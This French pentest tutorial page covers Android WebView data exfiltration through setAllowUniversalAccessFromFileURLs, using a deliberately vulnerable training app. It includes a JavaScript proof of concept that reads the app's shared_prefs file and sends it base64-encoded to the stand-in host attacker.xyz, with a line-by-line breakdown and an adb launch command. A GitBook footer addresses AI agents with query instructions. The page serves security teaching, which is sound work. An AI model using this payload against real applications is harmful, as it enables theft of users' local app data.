> For the complete documentation index, see [llms.txt](https://blog.s1rn3tz.ovh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://blog.s1rn3tz.ovh/pentest-mobile/android/webview-vulns/webview-hijacking/exfiltration-de-donnees.md).

# Exfiltration de données

## Description

setAllowUniversalAccessFromFileURLs permet à JavaScript de s'exécuter dans le contexte de l'URL du schéma de fichiers pour accéder au contenu de n'importe quelle origine, y compris d'autres URL de schéma de fichiers.

Ce paramètre supprime toutes les restrictions de politique d'origine et permet à WebVIew d'effectuer des requêtes sur le Web à partir du fichier, ce qui n'est normalement pas possible. L'attaquant peut ainsi lire des fichiers locaux à l'aide de javascript et les envoyer sur le Web vers un domaine contrôlé par l'attaquant.

## Détection

### Code source

{% code lineNumbers="true" %}

```java
import android.webkit.WebChromeClient;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import androidx.appcompat.app.AppCompatActivity;

/* loaded from: classes.dex */
public class RegistrationWebView extends AppCompatActivity {
    /* JADX INFO: Access modifiers changed from: protected */
    @Override // androidx.appcompat.app.AppCompatActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_registration_web_view);
        setTitle("Registration page");
        loadWebView();
    }

    private void loadWebView() {
        WebView webView = (WebView) findViewById(R.id.webview);
        webView.setWebChromeClient(new WebChromeClient() { // from class: com.tmh.vulnwebview.RegistrationWebView.1
            @Override // android.webkit.WebChromeClient
            public boolean onConsoleMessage(ConsoleMessage consoleMessage) {
                Log.d("MyApplication", consoleMessage.message() + " -- From line " + consoleMessage.lineNumber() + " of " + consoleMessage.sourceId());
                return true;
            }
        });
        webView.setWebViewClient(new WebViewClient());
        webView.getSettings().setAllowUniversalAccessFromFileURLs(true);
        webView.getSettings().setJavaScriptEnabled(true);
        if (getIntent().getExtras().getBoolean("is_reg", false)) {
            webView.loadUrl("file:///android_asset/registration.html");
        } else {
            webView.loadUrl(getIntent().getStringExtra("reg_url"));
        }
    }
}
```

{% endcode %}

On peut constater ici à la ligne 27 la présence de la fonction `setAllowUniversalAccessFromFileURLs(true)`&#x20;

## Exploitation

Pour exploiter la vulnérabilité, il nouc faut créer un exploit en javascript qui va être appelé par l'application et qui va permettre d'exfiltrer des données locales vers un serveur attaquant.

Pour ceci voici un PoC simple:

```html
<script>
    var url = 'file:///data/data/com.tmh.vulnwebview/shared_prefs/MainActivity.xml';
    function load(url) {
        var xhr = new XMLHttpRequest();
        xhr.onreadystatechange = function() {
            if (xhr.readyState === 4) {
            fetch('https://attacker.xyz?secrets=' + btoa(xhr.responseText));
            }
        }
        xhr.open('GET', url, true);
        xhr.send('');
    }
    load(url)
</script>
```

### Décomposition de l'exploit

* Déclaration de la variable contenant le chemin vers le fichier local souhaité

```javascript
var url = 'file:///data/data/com.tmh.vulnwebview/shared_prefs/MainActivity.xml';
```

* Déclaration d'une fonction load prenant comme paramètre la variable préalablement définie

```javascript
function load(url) {
```

* Utilisation d'XMLHttpRequest pour l'envoie de la requête HTTP au serveur attaquant

```javascript
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
```

* Lien vers le serveur attaquant + encodage en base64

```javascript
fetch('https://attacker.xyz?secrets=' + btoa(xhr.responseText));
```

* Fin de la requête et envoie

```javascript
xhr.open('GET', url, true);
xhr.send('');
```

* Appel de la fonction load avec la variable url comme paramètre

```javascript
load(url)
```

### Exécution de l'exploit

Via ADB:

```bash
adb shell am start \
  -n com.tmh.vulnwebview/com.tmh.vulnwebview.RegistrationWebView \
  --es reg_url "file:///path/to/poc.html"
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://blog.s1rn3tz.ovh/pentest-mobile/android/webview-vulns/webview-hijacking/exfiltration-de-donnees.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
